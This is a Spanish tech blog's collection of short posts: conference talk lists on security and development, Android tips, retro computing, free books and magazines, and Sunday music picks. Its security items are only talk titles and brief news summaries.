[d0x3d!] es un juego de mesa sobre seguridad en redes. Es un juego diseñado para la educación informal sobre seguridad informática. Parece ser que incluso irán publicando módulos para profesores, de forma que estos puedan usarlo como herramienta educativa.

El juego se compone de montones de cartas (patch!, hacker y lo0t!) y varias fichas. La forma de empezar es:

The bookmarks and history system will not be …

Hace un par de días, el día 21 concretamente cuando encendí mi ordenador por la mañana y arranqué Firefox ¡todo se congeló! ¡Mi Linux se había colgado! Pues va a ser verdad, hoy se acaba el mundo, pensé, pero gracias a Dios, todavía estamos por aquí ;)

Una vez reinicié mi máquina y volví a arrancar Firefox, en la parte superior, donde tenía la barra de los marcadores me salía un bonito mensaje de error: The bookmarks and history system will not be functional because one of Firefox's files is in use by another application. Some security software can cause this problem. Otro reinicio y todo se arregla pensé yo, pero no fue el caso. Después de reiniciar la máquina y volver a abrir Firefox, el mensaje seguía ahí y no tenía acceso a mis marcadores.

Domingo por la mañana, Icona Pop, I Love It (feat. …

Temazo de Icona Pop (remezclado) que pudimos bailar ayer en la fiesta del Fin del Mundo junto a Luthor DJs en la sala El Tornillo de Valencia.

 

Si ves este logo y un poco de Kriptonita por el suelo, algún Luthor está cerca ;)

11 maneras de reutilizar tu viejo teléfono Android

T-Mobile G1, el primer móvil con Android. Foto vista aquí.

En la web techradar nos enseñan 11 nuevas funciones para ese viejo teléfono Android que tienes guardado en tu armario.

Todas son bastante interesantes, aquí tienes un resumen:

1. Seguridad o cámara para el bebé.
2. Streamer de audio usando AirPlay (y te ahorras lo que cuesta uno de Apple)
3.  Un juguete para niños. Este enlace te explica como transformar un dispositivo Android en algo seguro para ser utilizado por niños.
4.  Control remoto para todo. Hay muchas aplicaciones para controlar aplicaciones como Spotify, NetFlix, etc.
5. Asistente de cocina. Tanto para recetas como para hacer listas de la compra.
6. Un pequeño servidor. Para por ejemplo IRC, DNS, DLNA, Proxy, etc. Echa un vistazo a esta web donde hay varios proyectos.
7. Portable media player. Para ver películas y escuchar música.
8. Consola portátil de juegos. En la tienda Google Play hay emuladores como MAME, otros para ZX Spectrum, etc. Eso sí, los juegos los pones tú.
9. Una cámara IP. Prueba esta aplicación gratuita.
10. Una cámara de vídeo. Lo único es disponer de tarjetas de expansión para poder almacenarlos.
11. Navegación por satélite. Un GPS para el coche por ejemplo. Prueba Navfree, una aplicación GPS gratuita que no requiere de conexión de datos.

¿Se te ocurre alguna más?

Er docu der finde: Hitler y la alta tecnología

Tu teléfono inteligente te está espiando

Courtesy of: Online Colleges.com Fuente

¿Te imaginas cómo sería Google en los 60s?

¿Te has imaginado alguna vez como sería Google en los 60s? Si, quieres tener una idea de como se vería, échale un vistazo a este sitio web llamado Google60. La aplicación está genial y tiene todos los detalles que te puedes imaginar de un ordenador de hace 50 años.

La aplicación usa datos reales de Google usando la API de éste, un par de tipos de letras especiales y por supuesto Javascript, HTML y CSS. En el enlace de la web también puedes ver la forma de usarle, además de ciertos datos más respecto al proyecto.

Recortables geek para decorar tu árbol de Navidad

Visto en www.superpunch.net

Algunos de ellos:

Material de DrWho

Un Macintosh Classic

Algunos de Ciencia (y dinosaurios)

CubeCraft.

Estrellas de nieve StarWars

Algunos Anime

Y como no, para la estrella del árbol:

Piñata de la Estrella de la Muerte.

The Art and Science of Smalltalk y otros 25 libros …

Smalltalk en Xerox, 1977 (visto en este libro)

Smalltalk es un lenguaje de programación muy importante en la historia de la Informática.  La intención de Alan Kay, uno de sus creadores, era realizar tareas de computación en un entorno de objetos virtuales que se pasan mensaje, más o menos lo mismo que ocurre en el mundo real. Todo en Smalltalk se considera un objeto y cada uno tiene sus características como una memoria propia, capacidad de comunicarse, capacidad de heredar características y la capacidad de procesamiento.

Bondage Fairies, Devil, para este Domingo por la …

http://open.spotify.com/track/7uTm5ffaYaNifijOwuLdH6 Bondage Fairies en LastFM

Web de Bondage Fairires

Er docu der finde: La Revolución virtual "El …

¿Está la fotografía muerta? El boom de la foto …

Courtesy of Overgram

Vídeos del Qt Developers Day Berlín 2012

Qt Developer Days Berlín 2012 es la novena conferencia celebrada en Europa. Esta conferencia se enfoca en todo lo que envuelve a Qt. Para los despistados, Qt son las librerías sobre las que está construido KDE o MeeGo entre otros.

Esta es la lista de vídeos disponible:

• QtDD12 - Welcome - Kalle Dalheimer
• QtDD12 - Accessible Applications with Qt - Frederik Gladhorn
• QtDD12 - Accessing middleware from Qt, QML or HTML5 - Dr. Eva Brucherseifer
• QtDD12 - BlackBerry 10 Cascades UI Framework: A Different Take - Markus Landin
• QtDD12 - CMake with Qt - Stephen Kelly
• QtDD12 - Connecting your BlackBerry 10 app to the network - Peter Hartmann
• QtDD12 - Creating Mac GUIs with Qt - James Turner
• QtDD12 - Creating Window Compositors with the QtWayland module - Andy Nichols
• QtDD12 - Creator 101 - Tobias Hunger
• QtDD12 - Debugging multithreaded Qt programs - David Faure
• QtDD12 - Desktop Components for QtQuick - Jens Bache-Wiig
• QtDD12 - Developing with Qt for the BlackBerry 10 - Vladimir Minenko
• QtDD12 - Domain Specific Debugging Tools - Volker Krause
• QtDD12 - Effective QML: Best practices for Developing with Qt Quick - Adenilson Calvacanti
• QtDD12 - How Qt Helped RIM Build BlackBerry 10 - Jeff Kehres
• QtDD12 - In Depth - QMetaType and QMetaObject - Stephen Kelly
• QtDD12 - Innovating in Automotive Infotainment with QtQuick - Johan Thelin
• QtDD12 - Intentions good, warranty void: Using Qt in unexpected ways - Till Adam + Mirko Boehm
• QtDD12 - Making the correct license choice when developing with Qt - Topi Ruotsalainen
• QtDD12 - Modern Shader-based OpenGL Techniques - Dr. Sean Harmer
• QtDD12 - OpenGL with Qt 5 - Dr. Sean Harmer
• QtDD12 - Panel discussion: The Future of Qt
• QtDD12 - Porting an existing Qt Windows App to Mac - Sven Bergner
• QtDD12 - Porting Qt 5 to embedded hardware - Thomas Senyk
• QtDD12 QML Coding, Performance and Debugging: Usage of Tools - Aurindam Jana
• QtDD12 - Qt 5 Roadmap - Lars Knoll
• QtDD12 - Qt addons for everyone: KDE Frameworks 5 - David Faure
• QtDD12 - Qt and Cloud Services - Sami Makkonen
• QtDD12 - Qt and the Google APIs - Roland Krause
• QtDD12 - Qt and the upcoming BlackBerry 10 Platform - Alec Saunders
• QtDD12 - Qt and WebServices - Dr. Tim Dewhirst
• QtDD12 - QtCore in Depth - Olivier Goffart
• QtDD12 - Qt on Raspberry Pi - Jeff Tranter
• QtDD12 - QtQuick under the hood - Thomas McGuire
• QtDD12 - Qt Surprises - Eirik Chambe-Eng
• QtDD12 - Serving QML applications over the network - Jeremy Laine
• QtDD12 - SoDeclarative - Helmut Sedding and Michael T. Wagner
• QtDD12 - The middleware problem: a tale of abstraction - Dario Freddi
• QtDD12 - The project that brings you Qt - Thiago Macieira
• QtDD12 - The Qt partnership program - Kristen Tveter
• Using C++11 to speed up your Qt 5 programs Marc Mutz
• QtDD12 - Using Qt as mobile cross-platform system - Tam Hanna
• QtDD12 - Using SSL the right way with Qt - Richard J. Moore
• QtDD12 - What's New in QtWebKit in 5.0 - Simon Hausmann
• QtDD12 - Why you should be excited by Qt 5 - Thiago Macieira
• QtDD12 - The Future of Qt on Embedded Linux - Lars Knoll

 

Material del Lua workshop 2012

Aquí tenemos algunos vídeos y diapositivas de la mayoría de las presentaciones dadas en el Lua Workshop 2012:

• Textadept - Behind the Scenes Slides Video
• Crazy Ivan - Lua Driven Robots Video
• Gemini - An Open Source Library for Game Development on iOS Using Lua Slides Video
• picoDB: a no-SQL database tool for eLua Slides Video
• Luerl, a Lua VM written in Erlang Video
• LuaFlow - An Open Source Lua OpenFlow Controller Video
• Lua multi VM system for home automation Slides Video
• Building a Lua Based Platform (Luvit) Slides Video
• Small Team, Huge Game, and Lua Video
• What is Next for Lua? A Personal Perspective Slides Video
• Incrementally developing and implementing Hirschberg's longest common subseqence algorithm using Lua Slides Video
• Adding an Lua-based integrated character-based menu system into the SciTE editor Slides Video
• Integrating Lua for fun and profit: Vim's if_lua and PostgreSQL's PL/Lua Video
• Make Your Own M2M Application, in a 1/2 Hour, with Lua Video
• Using Lua for Integration with a specialized IDE Slides Slides Video
• Lua Q&A Session with Roberto Ierusalimschy Video

Man of Steel, trailer 2

Tengo buenas vibraciones con este reboot de Superman.

Espectacular tráiler.

Análisis estático de aplicaciones Android en la …

Para ser honestos no soy muy defensor de la nube o el cloud computing, pero la verdad es que esta tecnología tiene grandes ventajas.

El tema del malware en Android es un tema muy candente, realmente el malware en general, ya que todas las plataformas se ven afectadas por este tipo de especímenes. Pero cuando hablamos que tecnología móvil y malware todas las miradas apuntan a Android. Cuando hablo con alguien sobre este tipo de temas, les digo que Android es en el mundo móvil lo que Windows en el mundo del escritorio.

Ejercicio práctico: desde la inyección de SQL …

¿Os acordáis de la entrada Ejercicio práctico: desde la inyección de SQL hasta el terminal? Pues el equipo de Pentesterlab, los creadores del origen de la misma, han vuelto a hacer los mismo pero con un pequeño cambio: la base de datos en el servidor a atacar es PostgreSQL.

Aunque la idea de una inyección de sql es la misma, dependiendo de la base de datos con la que tengamos que lidiar, sí que hacen que los detalles del ataque sean distintos.

11 años de iPod

Image source: MoneySupermarket

Libro completo en PDF, Construye tu propio …

"Build your own Z80 computer" es totalmente gratuito y es bastante interesante si tienes algún proyecto retro de fabricar un ordenador con el famoso microprocesador Z80 (el mismo de por ejemplo, el ZX Spectrum).

Es un poco viejo pero seguro que lo quieres para tu colección ;)

Puedes descargarlo desde aquí.

Revolving Doors, Song For A Car Commercial, …

http://open.spotify.com/track/6EbJRLvaL32pyspguTtPBg

Revolving Doors

Todas las charlas TED fáciles de acceder sólo con …

Realmente es un fichero de Google Docs, en concreto una hoja de cálculo que incluye el enlace para el vídeo, el ponente, el nombre de la charla y un pequeño sumario de esta. Hay de momento, 1395 charlas ordenadas en esta lista.

Fantástico para ver rápidamente y localizar charlas TED.

Y recuerda, puedes poner en castellano todas las charlas usando el botón "show transcript".

Vídeos de la RootedCON

Ya están disponibles los vídeos del archiconocido congreso de seguridad RootedCON. Éste celebró en Madrid entre 1 y 3 de marzo. Ya han pasado unos meses, pero más vale tarde que nunca y para los que no tuvimos el privilegio de asistir ahora podemos disfrutar de dichas charlas:

• RootedForge: Alternet - Borja Berastegui
• Raúl Siles y José A. Guasch - Seguridad Web de aplicaciones basadas en DNI-e
• Manu Quintans y Frank Ruiz - All Your Crimeware Are Belong To Us!
• RootedForge: LoadBalancer Finder - Alejandro Nolla
• RootedPanel - Fuerzas y Cuerpos de Seguridad del Estado
• Jaime Peñalba y Javier Rodríguez - Live Free or Die Hacking
• Eloi Sanfélix y Javier Moreno - Hardware hacking on your couch
• RootedForge: Fingerprinting Tor – Pablo Carballude
• RootedForge: OFAMIS - Pablo González
• RootedForge: RootedBabel – Organización Rooted
• RootedForge: Yet Another Repetitive Rootkit – David Luengo
• José Picó y David Pérez - Nuevos escenarios de ataque con estación base falsa GSM/GPRS
• Hugo Teso - Inguma 0.5 Red Wagon
• Sebastián Guerrero - Pimp Your Android
• RootedPanel - Congreso de seguridad No cON Name
• Gerardo García Peña - Enfoque práctico a la denegación de servicio
• Ricardo J. Rodríguez - Mejora en el Proceso de Desempacado usando Técnicas DBI
• Pablo San Emeterio - WHF: Windows Hooking Framework
• Lorenzo Martínez - Welcome to your secure /home, $user
• Organización RootedCON - Charla inaugural
• Carlos Díaz y Fco. Jesús Gómez - CMD: Look who's talking too
• Chema Alonso y Manu "The Sur" - Owning “bad” guys {and mafia} with Javascript botnets
• Yago Jesús - Applied Cryptography FAILs
• Pedro Sánchez -Hospital Central. Historia de una extorsión
• José Miguel Esparza y Mikel Gastesi - Social Engineering in Banking Trojans: Attacking the weakest link ]
• Guillermo Grande y Alberto Ortega - Building an IP reputation engine, tracking the miscreants
• Luis Delgado - XMPP, algo más que chat
• Lord Epsylon - XSSer, the cross site scripting framework
• Juan Garrido - Corporate Forensics. Saca partido a tu arquitectura

Análisis de la economía del juego Ultima Online

Uf, la verdad que así de primeras el nombre de esta entrada no parece muy atractivo como para pararte a leerlo, pero te aseguro que lo es. Este documento es del año 2000 y  explica profundamente el funcionamiento del intricado sistema económico que rodea al mítico juego Ultima Online, el primer MMORPG.

La economía del juego era (y aún lo sigue siendo, el juego sigue en activo) bastante compleja, muy parecida a la del mundo real. Igual que en otros juegos de rol online, cuando creas un personaje este tiene habilidades con las cuales luego puedes comerciar, como por ejemplo, herrería, alquimia, encantamientos, etc (incluso había una que era mendigo con la cual conseguías dinero de los personajes, tanto jugadores como NPC).

Microhistorias: CST Thor, el clon del Sinclair QL

Llevo ya varias sorpresas relacionadas con el Sinclair QL, la primera fue la Microhistoria de Linus Torvalds y su QL, y esta es la otra, la existencia de un clon de este ordenador.

Es bastante llamativo que existiera un clon del QL a pesar de la poca difusión y poco éxito que tuvo en su época. Es más, el CST Thor se empezó a fabricar justo cuando lo dejó de hacer Sinclair (esto ocurre cuando Amstrad compra Sinclair). De hecho la empresa CST (Cambridge Systems Technology) aprovechó este hecho para comprar todo el material excedente (placas bases, periféricos, etc) de las fábricas de Sinclair.  Más que un clon era realmente un QL en toda regla, ya que el hardware era el mismo (aunque con algunas modificaciones que ahora veremos).

Er docu der finde: Ciberguerrilla

(IN)SECURE número 36

Bueno como ya te habrás leído los 25 libros, la GIMP Magazine y la TheMagPi, te dejamos otra revista, pero esta vez sobre seguridad. La (IN)SECURE número 36 correspondiente al mes de diciembre de 2012 ¿Has visto como te cuidamos? ;)

• What makes security awareness training successful?
• Review - Incapsula: Enterprise-grade website security
• Five questions for Microsoft's Worldwide Chief Security Advisor
• Computer forensic examiners are from Mars, attorneys are from Venus
• In the field: RSA Conference 2012 Europe
• A mobile environment security assessment
• Hack In The Box CEO on the information security landscape
• In the field: IRISSCERT Cybercrime Conference 2012
• Comply or die: The importance of a business-centric approach to compliance
• Hackers can get in when systems are off: The risks of lights out management
• It's just the guest wireless network... right?

Puedes descargar el PDF desde aquí

The MagPi número de diciembre

Si lo que te gusta el la electrónica y juguetear con dispositivos embebidos y ligeros, The MagPi es una revista que te gustará. Ya está disponible el número del mes de diciembre. Con el siguiente contenido:

• Dig out the toolbox for the next thrilling installment, by Bodge N Hackitt
• Control your home with a Raspberry Pi and catch Santa in the act! by Geoff Johnson
• Win a 512Mb Raspberry Pi Model B, from PC Supplies UK
• The power of Raspberry and the simplicity of Arduino using Nanpy, by Andrea Stagi
• Control servos over the internet, by Ben Schaefer
• Simon Monk's new book covering basic to full GPIO python examples.
• An interview with the designers of the PiBow case, by Chris Stagg
• Christmas from the 70's using the CESIL programming language, by Gordon Henderson
• Using basic variables and STL strings, by Alex Kerr
• The second installment in our Ada programming tutorial, by Luke A. Guest
• Get your teeth into some Structured Query Language (SQL), by Richard Wenner
• Raspberry Jams and other community events
• Creating multiple desktop widgets, by Colin Deady

Puedes leerla desde el navegador o bajarte el PDF.

GIMP Magazine número 2

Ya tenemos disponible un  nuevo número de GIMP Magazine, una revista en formato electrónico para los amantes de este magnífico programa gráfico.

La puedes leer o descargar desde aquí

25 libros online gratuitos de Informática

Realmente espectacular es esta recopilación de 25 libros totalmente gratuitos (online).

Aquí los tenéis, es la lista original con alguna descripción en castellano:

Become An X coder: guía para el desarrollo en MacOSX con Cocoa usandoObjetive-C.

The Cathedral and the Bazaar Eric Raymond, libro clásico sobre software libre . Amazon

Data Structures and Algorithms with Object-Oriented Design Patterns in Java también disponbile para C#, Python, Perl, Ruby, Lua, C++ and PHP versions. Amazon

Diapositivas de las Hacker Halted USA 2012

Ya están disponible para descarga las presentaciones de la Hacker Halted USA 2012 celebrada en Miami el pasado mes de octubre.

•   Hackers: Responsibility and Reality - Jack Daniel
•   Using Information Superiority to win the Cybersecurity Battle - Matt Watchinski
•   Strategies for Web Application Security at Scale - Jeremiah Grossman
•   Active Defense - David Willson
•   Building a Cyber Range - Kevin Cardwell
•   Hacking The Big 4 Databases - Josh Shaul
•   Attacking Apache Reverse Proxy - Prutha Parikh
•   Breaking SAP Portal - Dmitry Chastuhin
•   Bring Your Own Destruction - Aamir Lakhani
•   How to successfully get your Cloud through FedRAMP, PCI, & HIPAA - Tom McAndrew & Hemma
•   Prafullchandra
•   Riding on Cloud 9 – Holistic Security for a Euphoric Cloud Experience - Freddie Beaver
•   Architecting and Building a Secure Virtual Infrastructure and Private Cloud - Rob Randell
•   FedRAMP - How the Feds Plan to Manage Cloud Security Risks - Steven Fox
•   Security and Software-Defined Networks - Michael Berman
•   Advanced Industrial Espionage Attacks - Gianni Gnesa
•   Bulletproof IT Security - Gary Miliefsky
•   Go with the Flow: Strategies for Successful Social Engineering - Chris Silvers
•   House of Cards - How not to collapse when bad things happen - Rafal Los
•   Physical Drive-by Downloads – An Android Modders Weakness - Kyle Osborn
•   The Persistent Threat of Mobile Apps – Why Continuous Testing is Key - John Weinschenk
•   Zombie Browsers, spiced with rootkit extensions - Zoltan Balazs
•   Military Targeting Adapted for Hacking - Rock Stevens
•   Own the Network – Own the Data - Paul Coggin
•   Advanced Persistent Pentesting: Fighting Fire with Fire - Jonathan Cran
•   DGAs and Cyber-Criminals: A Case Study - Christopher Elisan
•   Spawnning Reverse Shell With Any IP, Any Time! - Merchant Bhaumik
•   Hacking SCADA Systems - 2011 Year in Review - Jonathan Pollet

Navegando por las entrañas de una aplicación …

Cuando vi la noticia de la nueva versión de Androidguard, 1.9, no tardé en ponerla en twitter. Pero después de entretenerme un poco y leer las novedades de esta nueva versión, vi el vídeo que os pongo a continuación.

En el mismo lo que podemos ver es como desde Sublime Text 2, un editor de texto que te recomiendo encarecidamente que pruebes si no lo conoces (no es open source, pero se puede usar de forma gratuita), a través de un plugin se puede navegar por las entrañas de una aplicación Android a golpe de ratón. Con un simple doble click, podemos saltar entre los ficheros, incluso nos deja saltar por el bytecode y encontrar referencias a ciertos métodos. Tiene muy buena pinta y parece bastante cómodo de usar.

Harrison Ford, Coronel Graff, primera imagen en la …

Esperando la película con muchas ganas, pero con todos mis sentidos en alerta máxima.

Es que hay cosas que mejor no tocar, pero bueno, vamos a darle una oportunidad.

Blog de la película (rodaje)

El juego de Ender

Visto en io9

Material de la LLVM noviembre 2012

La LLVM Compiler Infrastructure es una conferencia donde se tratan temas sobre compiladores. Actualmente este proyecto sirve como base para muchos otros subproyectos ampliamente usados por distintas empresas. Esta reunión ha sido la segunda llevada a cabo este año y se celebró en el mes de noviembre en San jose, California. Para los interesados en estos temas, ya tenéis disponible tantos vídeos como diapositivas de la mayoría de las charlas:

El coste de una aplicación web con un rendimiento …

Fuente

Cuando se junta el hambre con las ganas de comer

En esta entrada vamos a ver porque es importante el evitar las malas prácticas o dicho de otra forma, porque es bueno seguir buenas prácticas la hora de configurar nuestros equipos. Para ello vamos a ver el siguiente vídeo publicado por Acunetix

Lo que vemos en el vídeo es como a través de un mensaje de correo electrónico especialmente formado, el atacante es capaz de modificar los servidores DNS de la víctima, de forma que está a la hora de navegar puede ser redirigido a servidores maliciosos. El ataque se lleva a cabo de forma exitosa prácticamente por tres factores:

Domingo por la mañana, IV, Athletics

http://open.spotify.com/track/7cshOm0BNP91eFA4FIb1bt

Athletics

Hack in the box 9

Ya ha salido el un nuevo número de la revista sobre seguridad HITB o Hack In The Box. En este noveno número podemos encontrar:

• Windows Security
  • Bot Wars – The Game of Win32/64 System Takeover (04)
  • Memory Copy Functions in Local Windows Kernel Exploitation (12)
• Mobile Security
  • Android Persistent Threats (20)
• Hardware Security
  • Does the Analysis of Electrical Current Consumption of Embedded Systems could Lead to Code Reversing? (28)
• Web  Application Security
  • To Hack an ASP.Net Site? It is Difficult, but Possible! (48)
• Mobile Security
  • A Brief Introduction to VEGA (66)

Os la podéis descargar desde aquí (PDF)

Vídeos de la AppSec USA 2012

Para que no te aburras este fin de semana y después de que hayas visto Er docu der finde, aquí tenéis el listado de los vídeos de la AppSec USA 2012 celebrada en Austin, Texas.

• Keynote - Securing Javascript - Douglas Crockford
• Cracking the Code of Mobile Application - Sreenarayan Ashokkumar
• Put Your Robots to Work: Security Automation at Twitter - Justin Collins, Neil Matatall, Alex Smolen
• Incident Response: Security After Compromise - Richard Bejtlich
• Exploiting Internal Network Vulns via the Browser using BeEF Bind - Michele Orru
• Web App Crypto - A Study in Failure - Travis H.
• Reverse Engineering Secure HTTP API's With an SSL Proxy - Alejandro Caceres and Mark Haase
• Gauntlt: Rugged by Example - Jeremiah Shirk, Mani Tadayon, James Wickett
• Effective Approaches to Web Application Security - Zane Lackey
• Building a Web Attacker Dashboard with ModSecurity and BeEF - Ryan Barnett
• Bug Bounty Programs - Michael Coates, Chris Evans, Jeremiah Grossman, Adam Mein, Alex Rice
• Four Axes of Evil - HD Moore
• Cross Site Port Scanning - Riyaz Walikar
• Top Ten Web Defenses - Jim Manico
• Keynote - Some Lessons from the Trenches- Michael Howard
• Hacking with Web Sockets - Vaagn Toukharian
• I>S+D! - Interactive Application Security Testing(IAST), Beyond SAST/DAST - Ofer Maor
• The Same-Origin Saga - Brendan Eich
• Real World Cloud Application Security - Jason Chan
• XSS & CSRF with HTML5 - Attack, Exploit and Defense - Shreeraj Shah
• Keynote- The State of OWASP - Tom Brennan, Michael Coates, Seba Deleersnyder, Eoin Keary, Matt Tesauro, David Wichers
• Analyzing and Fixing Password Protection Schemes - John Steven
• Unraveling Some of the Mysteries around DOM-Based XSS - Dave Wichers
• Mobile Applications & Proxy Shenanigans - Dan Amodio and David Linder
• The Application Security Ponzi Scheme: Stop Paying For Security Failure - Jarret Raim and Matt Tesauro
• Web Framework Vulnerabilties - Abraham Kang
• AppSec Training, Securing the SDLC, WebGoat.NET and the Meaning of Life - Jerry Hoff
• Keynote-InfoSec at Ludicrious Speed: Rugged DevOps and More - Gene Kim
• Builders vs. Breakers - Brett Hardin, Matt Konda, Jon Rose
• Get Off Your AMF and Don't REST on JSON - Dan Kuykendall
• Rebooting (Secure) Software Development with Continuous Deployment - Nick Galbreath
• SQL Server Exploitation, Escalation and Pilfering - Antti Rantasaari and Scott Sutherland
• Secure Code Reviews Magic or Art? A Simplified Approach to Secure Code Reviews - Sherif Koussa
• How We Tear Into That Little Green Man - Matthew Rowley
• Blended Threats and JavaScript: A Plan for Permanent Network Compromise - Phil Perviance
• Hack your way to a degree: a new direction in teaching application security at universities - Konstantinos Papapanagiotou
• Using Interactive Static Analysis for Early Detection of Software Vulnerabilities - Bill Chu
• Security at Scale - Yvan Boily
• Origin(al) Sins - Alex Russell
• Counterintelligence Attack Theory - Fred Donavan
• WTF - WAF Testing Framework - Yaniv Azaria and Amichai Shulman
• Hacking .NET Applications: Reverse Engineering 101 - Jon McCoy
• The 7 Qualities of Highly Secure Software, Mano Paul
• Iran's Real Life Cyberwar - Phillip Hallam-Baker
• Unbreakable Oracle ERPs? Attacks on Siebel & JD Edwards - Juan Perez-Etchegoyen and Jordan Santarsieri
• Demystifying Security in the Cloud: AWS Scout - Jonathan Chittenden
• NoSQL, No Security? - Will Urbanski
• Pining for the Fjords: The Role of RBAC in Today's Applications - Wendy Nather
• Doing the Unstuck: How Rugged Cultures Drive Biz & AppSec Value - Josh Corman
• DevOps Distilled: The Devops Panel - Josh Corman, Nick Galbreath, Gene Kim, David Mortman, James Wickett
• Spin the Bottle: Coupling Technology and SE For One Awesome Hack - Dave Kennedy
• Building Predictable Systems Using Behavioral Security Modeling: Functional Security Requirements - John Benninghoff
• The Diviner - Digital Clairvoyance Breakthrough - Gaining Access to the Source Code & Server Side Memory Structure - Shay Chen
• The Magic of Symbiotic Security: Creating an Ecosystem of Security Systems - Dan Cornell and Josh Sokol
• Securing the SSL channel against man-in-the-middle attacks - Tobias Gondrom

Er docu der finde: Ciberlandia

Escribiendo juegos en python para Android

Si alguna vez has querido escribir un vídeo juego, lo estás escribiendo o lo has escrito y has usado Python como tu lenguaje de programación, seguro que ya conoces las librerías Pygame. Para el que no las conozcas, a modo de introducción muy simple, Pygame son un conjunto de librerías sobre SDL que ofrecen una API para la programación de aplicaciones multimedia y juegos.

Hoy en día nadie puede negar que el mercado de los juegos se ha extendido al mundo de los terminales móviles y que Android domina dicho mundo, en cuanto a número de dispositivos. Si alguna vez has querido escribir un juego para un sistema Android y ya conoces Pygame o por lo menos conoces el lenguaje de programación Python, ya lo tienes más fácil con este proyecto donde están portando un subconjunto de las librerías de Pygame a Android.

Robo de datos en teléfonos inteligentes a través …

En la MalCon se ha presentado una charla sobre el robo de datos de teléfonos inteligentes a través del jack de audio. Se incluyen iPhones, teléfonos Android, Blackberries y Windows Phone.

Según el investigador, Atul Alex, se podrían, de forma fácil, hacer llamadas telefónicas sin intervención del usuario, saber la duración de las llamadas, detectar la entrada y salida de llamadas, sms, etc. Y de una forma ya no tan fácil, también se podría grabar los números que se marcan a la hora de hacer una llamada, listar los nombres de la lista de contactos, grabar llamadas telefónicas, además todo se podría manejar de forma remota.

Presentaciones de la ZeroNights 2012

ZeroNights es otra conferencia de seguridad, ésta se celebró en Moscú el 19 y 20 de noviembre y han publicado todas las presentaciones que se dieron. Y para no perder la costumbre, aquí tenéis la lista de las mismas :)

• Soldatov, gotz how to catch your “hacker” or makeshift security
• Yarochkin, kropotov, chetvertakov tracking surreptitious malware distribution channels
• Sobolev typical information security flaws in corporations and large enterprises
• Samosadny mass csrf attacks via flash ads
• Kupreev 3 g modem infection
• Chastukhin, cherbov where is my car dude
• Evdokimov python arsenal for re
• Solar designer new developments in password hashing
• Troshichev i os mitm attack
• Tarakanov the art of binary diffing
• Sorokin mac os x malware overview
• Sintsov advanced exploitation in win32
• Shay chen the diviner - digital clairvoyance breakthrough - gaining access to the source code & server side memory structure of any application
• Reutov, yunusov, nagibin random numbers take ii
• Potapenko, vyukov forewarned is forearmed. a san and tsan
• Polyakov how i will break your enterprise. esb security and more
• Noseevich, petukhov no locked doors no windows barred. hacking open am infrastructure
• Matrosov, rodionov win32 flamer. reverse engineering and framework reconstruction
• Lyamin beyond the botnet
• Keynote the grugq opsec for russians
• Keynote fx try harder 2 be yourself
• Kettunen, miaubiz fuzzing at scale and in style
• Karasikov android behind the scenes
• Jurczyk windows kernel reference count vulnerabilities. case study
• Gregoire that's why i love xml hacking
• Firstov attacking mongo db
• Costin, francillon ghost is in the air(traffic)
• Boutin reversing banking trojan. an in-depth look into gataka
• Belenko, sklyarov dark and bright sides of i cloud (in)security
• Antisnatchor all you ever wanted to know about beef
• Abdullin modern payments security. emv, nfc, etc
• Vorontsov, golovko ssrf attacks and sockets. smorgasbord of vulnerabilities

Gana un Nexus 7 con un poco de ingenio

Los chicos del Máster Universitario en Seguridad de la Información de la Universidad de Deusto han puesto a disposición del público en general, no necesariamente de alumnos del máster un concurso en el que sortearán un Nexus 7.

Todo lo que tienes que haces es publicar un vídeo o un comentario dónde se mencionen a estos de forma ingeniosa y divertida en Twitter, Google+ o Facebook. Tienes que incluir el hashtag #MUSIConcursoN7 en tu publicación.

Usethis.com la web de entrevistas a geeks y …

Escuchando uno de nuestros podcasts favoritos, El Amuleto de Yendor, llevan haciendo referencia a la web usethis.com en algunos programas. Así que raudo y veloz le eché un vistazo (si lo dicen Carlos y Nacho no hay que dudar que será interesante y muy muy friki)  y es realmente una página que todo geek como vosotros tiene que visitar.

¿Qué encuentras de interés en esta página web?

Pues son básicamente entrevistas a todo tipo de personas (y personalidades) sobre todo de la informática pero también de la música, ciencia, etc (geeks en general).

Buenas prácticas para distribuir tu aplicación …

© StartApp.com/

El planeta enano Makemake examinado por primera …

Recreación de la superficie de Makemake (ESO)

Makemake (descubierto el 31 de Marzo de 2005) es un planeta enano (como Plutón y Ceres) y posiblemente sea el objeto más grande del Cinturón de Kuiper, y es un poco más pequeño que Plutón (2/3). Tiene una temperatura de -243 ºC y se supone que su superficie está cubierta de metano y nitrógeno (en forma de hielo).

En Abril de 2011 pasó entre la Tierra y una estrella lejana llamada  Nomad 1181-0235723. Aprovechando esta ocultación (que sólo duró un minuto) los astrónomos y astrofísicos utilizaron una red de diecisiete telescopios situados en Brasil y Chile, para echarle un vistazo. Finalmente sólo siete de ellos pudieron observarlo pero es un logro, ya que es la primera vez que unos telescopios han observado la ocultación estelar producida por un objeto de estas características.

Destronics, Sympton (From The Crisis), para este …

Este es vuestro tono de alarma para despertaros esta mañana de Domingo…

Destronics

Vídeos de la Øredev Developer Conference

La Øredev Developer Conference es como su nombre indica una conferencia orientada al desarrollo de ningún lenguaje o plataforma en particular. Dicha conferencia se celebró en Suecia entre el 5 y el 9 de noviembre. La lista de vídeos es la siguiente:

• Transform Your Agile Process with Kanban Thinking (Karl Scotland)
• The Rebellion Imperative (Reginald Braithwaite)
• Tailwind/Headwind in the pursuit of the Fibre to All (Jonas Birgersson)
• Nashorn: Optimizing JavaScript and dynamic language execution on the JVM (Marcus Lagergren)
• The Future of Work is about being more Human - Gamestorming (Maarten Volders)
• Android Burning Questions (Pavel Lahoda)
• Stupid questions and n00bs - top ten intriguing things you need to do (Iris Classon)
• Budgeting Reality: a New Approach to Mock Objects (Justin Searls)
• Managing Your Teams’ Agile Competency (Diana Larsen)
• Git Going with Distributed Source Control (Tim Berglund)
• Liftoff: Launching Agile Teams and Projects (Diana Larsen)
• Hypermedia and ASP.NET Web API, where do you want to go today? (Glenn Block)
• How RESTful Is Your REST? (Abdelmonaim Remani)
• My mom told me that Git doesn't scale (Vicent Marti)
• Lambdas in Java SE 8 or co-evolving libraries, the language and the VM (Joel Borggrén-Franck)
• jQuery Combinators (Reginald Braithwaite)
• A Design eye for the Developer Person (Scott Barnes)
• Unpicking the Microsoft Roadmap (Scott Barnes)
• Expressing yourself: polymorphism in Clojure (Tim Ewald)
• Dynamically animating user interfaces and custom Android views (Andreas Agvard)
• Namedropping, HTML5, optimization, CQRS (Janne Räsänen, Albert Bertilsson, Sebastian Ganslandt and Ted Steen)
• Designing Hypermedia APIs (Steve Klabnik)
